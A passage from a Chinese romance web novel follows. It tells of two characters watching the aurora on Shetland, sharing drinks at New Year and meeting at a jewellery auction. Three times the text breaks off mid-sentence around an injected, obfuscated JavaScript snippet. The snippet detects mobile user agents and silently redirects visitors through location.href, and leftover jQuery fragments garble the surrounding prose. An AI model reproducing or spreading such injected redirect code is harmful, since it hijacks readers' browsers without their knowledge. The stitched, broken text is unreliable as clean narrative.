刚走出去,闸机口外变等候着送他们去阿伯丁的司机大叔。一路上,他侃侃而谈,将附近的景色夸了个遍,傅令絮仅有一次出声礼貌地打断他。 问他,去设特兰主岛屿的轮渡,是否可以装载私家车。 司机大叔不擅长回答中国式的套装问题,他认真思索良久,最终建议,在岛上可以全程使用公共交通,除了放假期间,人多,不直达。 傅令絮就此打住,对无效答案只保持礼貌,却没有多余的一丝耐心。 他从蹙眉认真听到看向窗外无奈神色,被穗和完整看在眼里,她轻轻笑出声,引得傅令絮转过头,望向她,“怎么了?” 穗和微微摇头,胡乱说了句,“没什么,看到窗外的景色很好看。” 车停在阿伯丁,轮船开向设特兰岛,到达时刚好晚上11点20分。跟傅令絮计算过的时间大差无几,一路上常见矮马经过,听同样并肩漫步的游客说,这是苏格兰特有的品种,灰白色长毛居多,只有一般马匹的一半高度。 傅令絮纵然有心保密,也藏不住漫天的心意,设特兰岛位于英国最北部,在今夜有机会看见北极光,穗和没有见过,原本计划明年去北欧旅游时再去追光。 海岸线绵延不绝,松垮的电线胡乱延展,悬着一盏盏的古典仿煤油灯,夜风让他们摇摇晃晃,看起来像是平行着,天色倾泻而下,又让他们的颜色相交。 但令穗和惊讶的是,原来极光并非是她印象里的绿色射线。 它可以是蓝色,粉色,像斑驳的光点,漫过远处的山海。 穗和想到《爱乐之城》里的灯塔,举着手机指给傅令絮看,“不知道是不是……” 她话还没说完,傅令絮已经理解她说的意思,偏过头安静地凝望着她,穗和也刚好举着手机转过来,他说着,“不是,《爱乐之城》里的灯塔是在萨姆堡。” 穗和却下意识按下了拍摄键。 他倚在围栏边,停站在灯塔前,视觉错差将灯塔光投在他的耳边,形成一种柔和自然的侧边打光,让人无法忽视他突然降落的那个清冽又温柔的眼神。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164969|165083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 好似他在看什么比北极光更粲然惊艳的景色。 傅令絮说什么,她已经听不清楚,直到他稍微低下眼,目光移到她忘记放下的手机上,她才讪讪地往他身后一指,“那边、那边还有许愿瓶……” “去看看。” 穗和问他,“您信这个吗?” “不信。” 穗和轻笑一声,“能想象,您这种常年跟严肃逻辑打交道的人,应该不信这个。” 傅令絮没出声。 两个人并肩向岛屿颜色更深处走,穗和搓了搓手指,拢在嘴边呼出一小团白气,漫不经心地说着,“我也不信,老天爷只负责实现愿望,却没说代价。” 傅令絮闻言怔了一下,伸手拉住她的胳膊,让她走在里侧,距离他半个身位,好似能挡住一些夜风,平声问她,“有感而发?” “不是。”穗和轻轻叹了口气,“想到了别人的故事。” “能听吗?” 这样的场景,好像有着将语言变成电影的魔力。 穗和”嗯“了一声,尽量让语气变得轻松,“其实就是个没什么意思的小故事。” 故事关于一对少年夫妻。 他们有着云泥之别。 少年弹着吉他唱着许巍的歌,曾梦想仗剑走天涯,看一看世界的繁华,少女拉着大提琴,从掌声和鲜花的演奏厅出逃,落了下水晶鞋,奔向她的心上人。 酗酒迷幻一般地过了两年。 自诩流浪诗人,吟游歌手,却因为刚出生的女儿开始了无休止的争吵。 他们堕入凡间,被没有味道的白开水打败,少女趁夜离开,回到了熟悉的城堡,拥有了真正的能为她量身定做剧本的大艺术家。 八年后。 当年的少女好像一点都没有老去,她站在大提琴边,优雅地鞠躬谢礼。 有人从台下慢慢走上来,为她献花。 亲吻着她。 那时候,他们的女儿并不知道电视上与自己看起来天差地别的女人,是自己的母亲。虽然她连一件干净的衣服都没有,但是她却很爱她的爸爸。 她爸爸说,人逃离这个世界做回自己的方法,就是弹吉他和流浪。 她听不明白,但是他每天晚上都会给她讲他看见的、理解的这个世界。她不觉得这是比童话书更低级的东西,她觉得很有意思。 也许是她太虔诚了,被老天爷眷顾。 她无意中偷偷许愿,希望可以见见妈妈,希望有更多的人爱她。 见她停在这里,傅令絮问,“后来呢?” “后来——”穗和深深咽了一口气,僵硬地笑着,“没有后来啦,后来老天爷就让她找到了妈妈,还拥有了幸福的家庭,有了姐姐,有了干净的爸爸,他虽然不会讲那些流浪者的故事,但是他很有趣,很开明。” 她哽咽了一下,接着说,“这个女孩子并不讨厌他,但是她也很难真正亲近她的家人,不肯更改姓氏,因为这样好像是对另一个人的遗忘,甚至是背叛。” 何况那个人是卧轨以死亡为她达成心愿的爸爸。 傅令絮目光极深地看向她,顿住脚步,看到她眼角泛起的水汽时,心头一动,声音温柔的令他自己都不习惯,“穗和。” “……嗯?”她也停下步伐,扭过头去看他。 “穗和。” “怎么了?”穗和忽然被他难得的幼稚逗笑,“人类的本质是复读机啊?” 傅令絮却没有笑意,他的双眸像是盛满了灯塔光与月间海,没有凉薄,只有静深暗涌的思绪,“你的名字不冠以任何人的姓氏,很好听。” 你的人生也不背负任何人的解读。 穗和收敛着笑意,被这句话击中,像是用了很大的力气才能平稳的开口。 她迅速转过身去,吸了下鼻子,仰头说着,“都说这是个故事了,当什么真……我好饿啊,我想看看前面有没有什么好吃的,跨年不得喝点酒吗……” 她像要趁夜色逃走,垂在身侧的手却被身后的人一把握住。 她茫茫然地扭过头,又好似顷刻间看到了他眼中闪过的担心,她睁圆了眼睛,像是在用行动展示她绝对没有在哭。 停了几秒。 傅令絮冲她笑一下,“想喝酒跑什么?” 8. 喝酒。 -08- 穗和情不自禁动了下手指,目光突然转向一边,眼底藏着一点难以掩盖的情怯,傅令絮看她的神情比以往任何时刻都要认真。 “快走吧,英国的鬼天气,市区下雨,岛上下雪……”她尽量自然地将手抽回来,转过身捂在嘴上,用力呼出向上飘远的白气。 雪片已经落了一些在头顶,傅令絮上前两步轻易追平穗和的速度。 他问着,“冷不冷?” 穗和说“不冷”,声音仍从指缝间朦胧的透出来,下一秒,她打了一个喷嚏,水汽在眼前起雾,她尴尬又委屈地看了傅令絮一眼,“……真不冷。” 傅令絮已经不动声色地在解大衣纽扣,被她伸手按住。 “走快一点就行了。” “又不是没穿过。”傅令絮反扣住她的手,领着她插回到她自己外衣口袋里,擦着她温热的掌心抽出手来,将衣服一把拢到她肩上,“穿好,没几步路。” “那我走快一点……” 夜间的离岛冷风吹起水面薄薄的一层冰雾,远眺无异,再等几秒,磨砂镜面顿时裂出蜿蜒的横列冰痕,水底从深蓝变成深绿,揭开了冒头的盎然春意。 傅令絮预定的餐厅距离这里不远,步行十分钟,停在挂满灯泡的树屋前。 数量并不多,相隔甚远,都是倚靠苍天大树而建,穗和惊奇地扫视着四周,真如他邀约时说的那样,像是闯入了奇妙仙子的秘密基地。 傅令絮将门打开,穗和先从他身后探出脑袋朝里看,“没有服务生吗?” 但是食物、美酒都已经摆放完毕。 “你想有吗?” “那倒不是,我只是好奇这样的餐厅怎么经营……” 傅令絮思量着,有点为难的神情,“魔法?” 穗和先是一怔,很快忍不住的笑出声,“您也太入戏了,我都快忘了我是谁。” 傅令絮耸了下肩,照实说,“实际上,只能靠提前发信息告知。“ 她用力踩了几下地板,想看看树屋是否牢靠,只有咚咚几声空洞的声响。 紧接着是窗外飘下几片绿叶,这感觉很神奇,令穗和兴奋得拉了拉傅令絮的手,直到刺骨的凉意触及神经,她才一瞬间松开手,“看、看那个。” 傅令絮默然地顺着她的视线看了一眼,窗外已经没有了动静。 穗和在想她该怎么合理解释这种大惊小怪,傅令絮的手机铃响就像及时雨一般出现,他说着,“你先坐,我很快回来。”跟着走出去,将门带上。 吱呀两声,窗外又开始飘曳落叶。 电话是周律师打来的,他那头正赶上开香槟的欢呼声,扯子嗓子才能说清楚,“你人呢?律所同胞跨年狂欢夜,堂堂合伙人不赏脸到场?” “有事说事。” “你人在哪儿呢?”周律师特意走开几步,才确认是他那边信号断续听不清楚,“手机打不通,邮件不回复,破天荒头一次啊,怎么着?要去竞选美国总统了?” “这都哪跟哪?”傅令絮没了耐性,笑着拿话堵他,“你招待他们,买单喊我。” 周律师接到指令,拿远手机,冲着乌压压的人群高喊—— 今晚傅公子买单!记着都给我只开最贵的酒! 傅令絮的注意力不在这里,扶额提醒他,“买单也别喊我,现在转你。” “多退少补?” “不退少补。” 周律师继续开玩笑,“行啊,赶紧的,你快转给我,我立刻不耽误你办事儿,春宵一刻值千金,你不亏啊,老傅。” “叮”一声,周律师收到一笔大额转账,发愣似的睁大眼睛,下意识骂骂咧咧,”你他妈到底在哪儿啊?!拿钱封我口?你不是真在办事儿吧?!” 傅令絮直接挂了电话,回到树屋。 穗和双手撑在桌上,没有玩手机,托着下巴安静地等着他回来。 “是……有什么事吗?” 傅令絮微微摇头,“吃饭。” “好耶,我都快被这瓶酒给闻醉了。”穗和伸出食指,兴致勃勃地看向灯泡状的玻璃酒瓶,浸没在冰块里,淡黄色的液体轻微晃动着。 “能喝酒吗?” 穗和沉吟了两秒,问他,“毕业聚餐喝过几口啤酒,算不算?” “不算。” “……我就尝一点?”穗和前倾着身体,凑到距离他更近的位置,信誓旦旦的保证,“我不会喝醉的,就尝尝味道,而且我爸爸酒量很好,搞不好我有遗传到呢。” 傅令絮在柔和的灯光下忍不住多看了两眼,转过头去拎酒瓶。 像是在等待他回答,穗和又往他身边凑近一步。 傅令絮回过头,与她对视一眼,轻轻推着她的肩膀,让她坐好,摇晃着瓶身,看了眼手机时间,拿话吓唬她,“喝醉了就把你丢在荒岛上。” “你会留我一个人在这里吗?” 她没有预设过问题去试探他的想法,也不敢预想他特意空出今晚精心为她安排了这些,但是沉沦在浪漫的夜晚,很容易口不对心地问出来。 傅令絮几乎不用费劲去揣摩这句话的意思,她几分委屈的语调里,就好似在问他——你舍得将我一个人留在这里吗? “不会。”他很快又说了一句,“那不得被你姐姐、姐夫追杀。” 显然这个答案,间隔三秒,便让穗和的情绪忽起忽落。 在傅令絮替她倒酒时,她拧着眉、手指不轻不重地点在玻璃瓶上,赌气似的,一直盯着他看,嘴里却说,“太少了吧……再给我倒一点。” 傅令絮还是波澜不惊的神情,问她,“知道怎么喝吗?” 穗和也不知道是哪里来的勇气,飞快回嘴了一句,“大口喝。” 傅令絮好笑地看她一眼,“真想醉了试试我舍不舍得丢下你?” 被他这么动真格地一问,穗和心脏像是漏了一拍,不敢与他对视了,手也老实地按回到桌面,轻声催促说,“……那怎么喝啊?我不会。” “这样。” 傅令絮拿热毛巾擦干净手,很有仪式感地浅啜了一下,穗和学着他的样子举起杯,没觉得有什么不同,疑惑地看他一眼,“就这样?” 酒瓶边放着柠檬片和一小堆细粒的调味料,不知道是糖,还是盐。 傅令絮没有开口,只给她肯定的眼神。 她迟疑了两秒,垂下眼睑看向红酒杯口,只觉得是香甜的味道,她说到做到,微微仰头,却喝了一大口,刚咽下去大半,傅令絮的手掌贴到她的脸上,大拇指按压在她的唇边,轻轻沿着她唇线往旁边缓缓一抹。 她忍不住的下意识的舔了一下嘴唇。 难以形容这种味道。 嘴里的酒偏甜偏腻,嘴边的颗粒是酸苦和微辣。 不知道是调味料太过刺激,还是他细直分明的手指沾染了操控人心的魔力,她只觉得这一瞬间,她从下唇到心上,都燎烧着欲念。 让人想知道跟他接吻是不是也是这样的味道。 “好喝吗?”傅令絮先出声问她。 她恍然似的“嗯”了一声,对上他探究的目光,眼神立即闪躲,嗓音却是慵懒软糯的从杯底回音,“好喝……”说完甚至又将剩下半杯喝完。 酒壮怂人胆不是没有道理的,当穗和喝完第二杯时,话已经多了起来。 她突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164970|165083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然问,“你的名字有什么寓意吗?” 傅令絮说,“没有,爷爷翻字典取的。” 吃了一小口杏仁可颂,她嫌太腻,自嘲说,“我居然也有不爱吃甜的一天。”大概是今天太高兴了,后半句她卡在喉咙里,没头没尾又问,“你跟我姐姐是同学吗?” “嗯。” “跟姐夫也是嘛?”说完,她自我纠正说,“哦,不是,我姐夫好像是拍戏才认识的我姐姐,那你怎么认识的我姐夫呢?好奇怪啊……” 傅令絮目光灼灼地看着她的脸,因为酒精而发红,眼神也更为懵懂。 “我跟你姐夫从小就认识。” “这样啊……” 消停几秒。 她话锋一转,吞咽了好几次,觉得此刻头重脚轻,趴在桌面上,双臂叠着遮住她的大半张脸,只留双眼对视,“你今天跟我一起跨年、喝酒没关系吗?” 傅令絮瞥她一眼,看穿她的心思,“有女朋友还能跟你坐在这里喝酒?” 穗和明显笑了一下,“不能吗?你这么听女朋友话的哦,我没想到……” “没想到?”傅令絮抬了下眉,摇晃了下酒杯,手停在半空中,“看样子我在你心里不是什么好形象,不专一,不受控。” “才不是!”穗和倏地抬起头,单手举过头顶,像学生对待老师那样保证着,嘴上还在逞强,“那、那你怎么还没有女朋友?” “这很奇怪?” “不奇怪吗?你这么好……”她又重新趴回桌上,越说越小声,“太奇怪了……” 傅令絮先是一怔,很快被她逗笑,“忙,没碰到,没什么奇怪的。” “借口。”穗和己不自知地嘟了下嘴,在他眼前摇晃着手指,“我才不信。” 傅令絮无奈地看她一眼,觉得没什么好解释。 他一不吭声,醉酒的情绪就被放大,本来提到家人那些事情就容易陷入低沉的情绪,此刻更是安静,别过脸不去看他,眼见着窗外飘落着雪片。 “下雪了……” “下了很久了。”傅令絮这样说着。 “那我要去看看。” “嗯。”傅令絮没有阻拦,刚站起来拿起她的外套时,她已经开门清甜地“哇”了一声,等他转身时,她已经面朝着他,张开双臂,仰面倒向了雪地。 傅令絮几乎来不及思考,也无法分辨积雪的柔软度,直接朝她冲过去。 最快速度,也只能紧紧捉住她一只胳膊。 最大力量,也只能将她用力带向自己怀中,两个人一起倒在了雪地里。 穗和半个肩膀都压在他的胸前,幸好积雪够软够松,使得傅令絮的痛感没有那么明显,他的手掌还垫在穗和的脑后,目光投在她的脸上,更多是担忧。 大雪漫天,落在傅令絮的头顶、眉心和鼻尖,穗和缓慢地眨动着眼睫,像是看得入神,慢慢凑近他的脸,轻轻吹开那一层雪。 接着,伸出手掌去接落下的雪花,又轻轻吹到他的脸上。 傅令絮望向她近在咫尺的脸,喉结上下滚动了几下,冷冽的雪和温热的呼吸同时刺激着他的神经,令他忘记将手从抱紧她的腰身上松开。 也忘记立刻催她起来。 “雪……”穗和还伸着手掌,望向天空,像在感谢神明,“好看吗?” 万物无声的时刻,他说着,“好看。” 不管她在问什么。 他情不自禁地伸手,想抚到他刚刚摸过的唇上,指尖仿佛还有熟悉的触感。室内却不合时宜地响起急促的来电铃声,惊得穗和缩了下肩膀。 她低下头眼神还呆滞着,“……你的电话,还是我的?” 9. 珍珠 -09- “你的。” 话音刚落,傅令絮把手从她的腰间收回来,眼睛仍旧望向她。 穗和还在半梦半醒的状态里,被树屋里短促连续的来电声音惊扰,发愣似地被傅令絮扶稳胳膊站起来,趔趄了一下,“搞不好是你的呢?” 傅令絮没说这是他的私人号码,知道的人没几个。 只是沉默着看了她几秒,最终还是伸手越过她的肩膀,虚揽着她走了几步,逐渐松手,只是在她身后伸展着臂弯,“好好看路。” 穗和“哦”了一声,大约真的是喝醉了,盯着来电显示上“宝贝”两个字皱了皱眉,反应了一下,才想起这是平安夜那晚,姜慧强行逼她改的。 她正要接通,一道冷淡凛然的声音在她耳际响起,“你接。” 穗和跟随声音扭过头,想说“不用啊”,没什么要避讳的。 傅令絮已经转身走出门,甚至替她用力将门关紧。 姜慧担心整点会国内的家人和朋友相撞,提前一刻钟打来电话,她先是尽量拿捏着无事发生的语气,问穗和是不是回伦敦了,跨年跟谁一起度过。 大概是酒精燃烧,令穗和的耳朵和心情都变得有一点急躁,眼前一晃,她倏地坐在了傅令絮的位置上,头埋下去,枕着手臂,“你有事就直说吧。” “……我没事呀,我就是想跟你说新年快乐,今天怎么能少了好姐妹的祝福。” “那我收到了,没事我就先挂了。” 姜慧说话的声音颤了一下,像是憋了许久,长篇累牍地重复解释着圣诞节那晚的事情,像她缺乏安全感被男朋友PUA,她陷入自责无法入睡之类的,拐了一大圈,最终绕回到这通来电的实际目的上,“穗穗……你能不能原谅我?” 穗和直白地问她,“你们不是没事了吗?” “嗯……我真的知道错了,我也狠狠骂过钟历沿了,他也很后悔!你知道的,我男朋友不是坏人,他那晚也喝高了,还一直跟朋友夸你特别漂亮……” “我不知道。”穗和不想再听,从臂间抬起头,语气也变得不耐烦,“我已经念在你的面子上,没有加以追究,总不能还指望我原谅你们,来个重修于好吧?” “那、那你能不能好人做到底,钟历沿那几个朋友被判了十个月,他自己要在社区服刑三年,每周都要按时报道,也不准他离开南安普顿,这也太重了……”姜慧自知理亏,但还是忍不住委屈地抽泣了一声,“……留了案底,学校还记了大过。” 穗和不悦地深重吸了口气,才能勉强稳住声音,“你要不要听听你说的什么话?” “穗穗,你再帮我最后一次吧,你一句话的事情,钟历沿就可以少吃三年苦,上次带你走的那个人只是想帮你出口气,我们也可以当面跟他道歉……” “我以前怎么没发现你这么不可理喻!” ”我……” 穗和低沉森冷的声音吓退了姜慧,“迟来的道歉不值钱,鳄鱼的眼泪只会让人心寒,破镜的友情也不可能重圆!你恋爱脑是你的事情,你看我干涉过你吗?我看轻过你吗?但是你不能借此,一次又一次得寸进尺伤害真正关心你的人!” “穗穗……” “你别叫我的名字!”穗和吸了一口气说,“姐妹一场,我们就到这里了。” 她按断电话时,才忍不住哽咽了一下。 没有想哭的欲望,只有宴会散尽后人心空落的寂寥。 手撑在额前,低头闻见傅令絮教她喝的那瓶酒,下意识咬了下唇,恍然似的起身拉开门,然后看见傅令絮站得比她想象得还要远。 几乎远到看不清他的眉眼,只能看清他融入雪色的清冽的轮廓。 “傅令絮。” 她喊了一声。 见他仍没有转身的动作,她双手合拢在嘴边,当做喇叭状,扬声一字一顿清清甜甜地冲他喊着,“傅、令、絮——” 他闻身缓慢回头,像电影最后一个慢镜头,将夜色都凝固。 紧接着,他看见冒着风雪冲他狂奔而来的穗和,明知道她刹不住脚步,明明可以躲开,却还是鬼使神差地展开双臂拦下她。 而穗和也顺利地像是倒计时冲过终点那般,肩膀猛地撞在傅令絮的胳膊上,往后趔趄一步,才勉强站稳,她顾不上这些,不断喘着粗气,任由呼出的白气一团一团打湿自己的眼睫,抢着说,“傅令絮!新年快乐!” 傅令絮微微张口,“希望你每一天都快乐。” 十二点的礼花和钟声同时响起,淹没了他的声音。 穗和踮起脚,将耳朵凑到他眼前,说着,“你说什么——” 傅令絮望着她的睫毛上细密的水珠,虽然他走的足够远,没有听见她任何的对话内容,却不小心瞧见了那个备注,顷刻间往后退了半步。 他淡淡说,“没什么,跨完年了。” 又一束烟火点燃夜空,像是与海面倾倒,天上的那一串亮痕才是游鱼的水迹。 穗和摊开掌心,又冲天上扬了扬,像是接到了老天爷的赠礼,不止是雪花,还有火花,“现在已经是2018年了耶!第1秒是跟你待在一起!好幸运哦!” 2017年的最后1秒也是。 傅令絮望向她,她干净晶莹的双眸里盛着漫天的烟花。 他若有所思地安静了几秒,心里却涌起难以捕捉的热潮,“……我也是。” / 2018年的第1天,他们在离岛从极光看到另一个日出。 第2天晚上,乘船原路返回爱丁堡,波涛颠簸没有酒意翻涌得厉害。 穗和连续两天在烟花和雪莉酒的清甜里入睡,连梦境都是栀子花的香味,浸入了水,整个人在绵软的床榻上像是落入了丝绒蛋糕。 第3天,雪停了,接着下雨,湿稠疲软得人连睁开眼的力气都没有。 他们在市区酒店住下,有套房可以选择。傅令絮见卧室没有动静,担心穗和还没有睡醒,发短信告诉她,他要出去一趟买点醒酒药,回来陪她吃饭。 并提醒她,记得喝热水,不舒服直接打电话给他。 收到信息时,穗和正躺在床上有点停滞地盯着天花板,宿醉以后头疼得并不明显,反而是呼吸时,觉得鼻腔带着一丝血腥味,喉咙也火烧一般的干裂着。 她坐起来发愣似的靠在枕头上,扶着额头,晃了晃脑袋。 扫了一眼四周,已经记不清楚她是自己走进来的,还是傅令絮抱她进来的,甚至分不清这一幕是不是在梦境里看见的。 目光最终停在床头柜上,有一杯冷掉的水。 她没当回事,先喝了一口,顺着喉咙流到胃里,冷得她打了个哆嗦,人却清醒不少,拿起手机,先给傅令絮回:好的呀,我等你回来。 再将祝福新年快乐的未读消息一一点掉,回复谢谢。 只单独点开大学地貌绘制小组作业的微信群,见到有几个同学已经在嚷嚷着工作量太大,比预期要困难,希望大家今早回来。 她立即跟着也回了个:OK,听大家安排。 然后算了下国内时间,刚放下给国内家人打电话的念头,一霎时又想起陈闻鸢给她发过1月3号的贵宾邀请卡,她用文字婉拒过几次,均被陈闻鸢无视。 原本是慈善晚宴,举办方主动联系她,告知由于爱丁堡夜间暴雨将至,从而改成了下午茶时间举行。届时仍有古着珠宝拍卖展。 地点也从爱丁堡市区,转为了只有一个半小时火车距离的纽卡斯尔。 穗和只得抓紧时间,从LNER上购入了车票,选择了最近的时间上车。 / 地点选在可对外租用的古堡里,古着珠宝在英国并不少见,这样的展览亦是,但像今天这样聚集在英华人的聚会,却不在多数。 能赢得一张入场券的人,犹如《泰坦尼克号》中头等船舱里的未婚夫。 陈闻鸢远程打来电话,隔着屏幕将穗和介绍给她的朋友,也是本次捐赠首饰的主办方之一,她没有用太多辞藻介绍自己,只是心照不宣地将亲弟弟拉到她面前。 给他们留下最不显眼却不容人靠近的位置,和一句“你们聊”。 拍卖展正在进行,觥筹交错间,有人欢呼,有人沉吟着诗篇。 分神无心去听的时候,穗和甚至分不清他们在说什么,甚至能听见中文。 只有眼前的男生主动介绍,吊儿郎当的语气,“我叫利献拙,没有英文名,你要是不习惯,不记得,觉得拗口,可以喊我帅哥,或者,喂!” 他突然假笑,又扬起声,吓了穗和一跳。 她保持面色平静,明显感受到他也对此安排没有兴趣,直接开口说,“我是被姐姐喊来的,我看你也是,不如我们随便说几句,一起应付一下?” “行,虽然你不是我的类型,但是既然拥有共同的敌人,那就是朋友了。” “那聊什么呢?不然我给你随便念本书,你也不用搭理我,嘴动动就行。” 利献拙灿然一笑,笑容干净,跟他刻意精致打扮的气质不符,“你真有意思,听我姐说你是上海人,我以前不怎么喜欢,觉得又矫情又小气。” 穗和无语地看他一眼,“谢谢啊,看样子我给上海人争光了。” “你也挺给中国人争脸的。”利献拙说话时眼珠子乱转,朝她身后逡巡一周,“你没发现,大部分男人都往你身上看,尽管你穿得……怎么说,朴素?大方?” “……我就是来凑个数。” “你的项链也很不搭,耳饰、发饰压根没有。” 穗和微微瞪他一眼,被人当面这么说,还是有点拉不下脸,何况她还不喜欢他这身做作的白色西装,跟傅令絮那身截然不同,“……你管我怎么搭配。” “可惜了你这张脸。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164971|165083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>穗和淡笑说,“我压根就没有耳洞……” 她低头举起杯子喝了一口,入喉才发现是看似清淡实则呛人的洋酒。 忍不住咳嗽了两声,利献拙拿纸巾给她,顺便拍了拍她的背,被她立即绷直腰身躲开,并用下桌以去洗手间为由,打算提前离场。 穗和刚一转身,便看见不远处坐着的傅令絮。 她刚刚背对坐着,总是看手机时间,在计算返程的车票,一丝一毫的注意力都不在这里,兴许傅令絮早就坐在那儿了。 穗和几乎没有犹豫,带着无辜又撩人的笑意往傅令絮那边走,胳膊却被利献拙扯住,他迅速蹿到她面前,完完全全挡住她的视线。 穗和拧着眉看向他,他却冲她眨了下眼睛,压低声音说,“别说我没有提醒你,男人是不能惯着的,他盯着你就没挪过眼,你不如跟我跳支舞,刺激一下他?” “……无聊。”穗和嫌弃说,“你以为他是你啊,他才不在意你这点小伎俩。” 利献拙不甘示弱地回击,“男人都一样,喜欢是真的,喜欢狩猎也是真的。” 他说完,给穗和挪开路,冲她鞠躬,转而伸手邀请她跳舞。 惹眼的两个人,随便一个动作,便引得身后欢呼声响起。 利献拙见她皮笑肉不笑地瞪他一眼,从夹缝里挤出,“你不是真让我难堪吧……” 傅令絮隔得不远,他似笑非笑地喝了一口酒,端着酒杯,慢步走过来,停在一步之外,明晃晃地利献拙挑了下眉,“你自找的难堪。” 接着,又转过眼,冲穗和勾了勾手。 她有些站不住了,觉得能被他的眼神灼烧,抱歉着飞快对利献拙说了句,”不好意思啊,要不然你还是继续讨厌上海人吧……” 说完,硬着头皮跟上傅令絮,往外走去。 他走得很快,直到听见穗和在身后说“我穿了高跟鞋”也没有回头,只是步伐变得慢了一些,他没见过穗和穿今天这样成熟气质的纯黑色半露背长裙。 穗和提着裙边,声音里都带着笑意,“傅令絮……你等等我。” 走进古堡另一处宴会场,吧台的酒保冲他们举杯,傅令絮说了一个她没听过的单词,他便意会开始调酒,穗和急着说,“我跟他一样。” 说完才面上一窘,想起他听不懂中文。 她仍想开口,被傅令絮擅自替她决定,“给她一杯柠檬汁。” “什么啊……我想喝酒。” 傅令絮看也没看她,面朝吧台,“今天还没喝够?” “我就喝了一口,那个一点都不好喝,完全比不上你请我喝的酒。”穗和脱口而出,说的是实话,却令明明听不懂的酒保暧昧又了然的笑了一下。 傅令絮看向慢慢混合的鸡尾酒,弯了嘴角,“你说酒,还是说人?” 穗和只觉得脸上发热,觉得他明知故问,心底又暗暗生出一些灼烧。目光停在他今天的装扮上,明明只是普通西装,却简洁得比任何人都儒雅好看。 她忽然解释,“我都不认识那个人,要不是我姐……。” 傅令絮轻声打断她,“不重要。” 目光仍在那杯鸡尾酒上,从口袋里掏出一个宝蓝色丝绒方盒,从桌上,缓慢推到她眼前,“打开看看?” “……好。” 她手指覆上去,忍不住偏过头看他一眼,从他的下颌线,落到他滚动的喉结,敞开一颗纽扣的领口,目光像是被点燃,慌张移开,定睛看着首饰盒开启。 是一对复古珍珠耳环。 最大的深紫色珍珠垂吊在下,左右上提,一边一颗浅灰色珍珠。 以藤蔓细针珠链串起,像晶莹欲坠的酸葡萄。 像永远得不到的最饱满最甜的那一刻。 “……是送我的?”穗和几乎难以隐藏惊喜的表情。除了她喜欢耳环的设计,更是她摸上去的那一刻就发现,这是一副耳夹,极少见的这样设计。 她情不自禁地念叨,“……你居然知道我没有耳洞啊。” “好像不难发现。” 言下之意,只要他想,就自然会发现。 傅令絮双手环住加冰的酒杯,似笑非笑着,“看样子你聊得很专注。” 竟没发现有人拍下这副——她如果看见,一定会心动的珍珠耳饰。 “才没有,我满脑子都是快点结束,好立刻赶火车回去见……”穗和着急掐断。 傅令絮单手撑在吧台,转过头打趣地瞧向她,“见什么?” 穗和忽然绷起一张脸,直愣愣地盯住傅令絮的脸,觉得他在欺负她,抓住她藏不住的心里话不放,眨眼间又松开眉心,手指摩挲着温热的珍珠。 她想着,人去下意识前倾,几乎触碰到傅令絮的鼻尖。 呼吸近在咫尺,暧昧萦绕。 她说,“傅令絮,你帮我戴耳环,我请你看我的作品展……好不好?” 10. 日落。 -10- 吊顶的暗涌的碎光落于穗和的眉间,话语在她喉咙里反复编排了好几遍,最终将替她戴耳环的邀约,转变为解释作品展。 “我跟几个学建筑设计的国内同学一起,报名参加了BEIRUT PORT CIMPETITION(贝鲁特港设计竞赛),除了涉及BIM、增强现实、UE渲染构建空间设计,也有考虑地理、气候条件,包括材料、劳动力可用性这些,我们定的主题是希望尽可能多地让建筑与港口水源、植被直接互动,尝试设计浮动住宅。” 穗和说到这些时,手指不觉捏紧了傅令絮送她的首饰盒,她只是如常解释着她喜欢并且打算深入学习的领域,却发现傅令絮看向她的目光变得更为深邃。 他手指轻慢地点在玻璃酒杯上,隐隐的青筋脉络,让人忍不住停留目光。 也许只过了几秒。 对穗和来说,却像是柳絮随风起,丧失了对冬天和时间的判断。 她忽然转过身,面朝酒保与他并肩,说着,“……也谈不上是作品展,我只是参与一部分自然景观利用的概念规划,还有一些3D试图和微观模型的辅助制作。” “我在想……” 穗和微微偏过头,看他一眼,忍不住先问,“怎么了?” “你们学校对外人开放吗?” 穗和先愣了一下,很快理解他是在问——他一个外人进得去吗? “嗯……我带你进去就好啦。”穗和不是个喜怒于行的人,但听到他这样说,还是克制不住上扬的嘴角,目不转睛地看向指尖挂着的葡萄珍珠。 沉默了没三秒。 穗和眼神略微飘忽,不敢看他,只轻声说,“你会戴这个吗……” 傅令絮没跟上她的小心思,误以为她故意说一半留一半,让人浮想联翩,身体慵懒地向后靠,一只手撑在桌上,面朝向她说,“戴哪个?” 穗和小心地拿起一只耳环,稍微转过身体,在他眼前晃了两下。 “你给我戴吧,我看不见……”她像是铆足了勇气才能再说一遍。 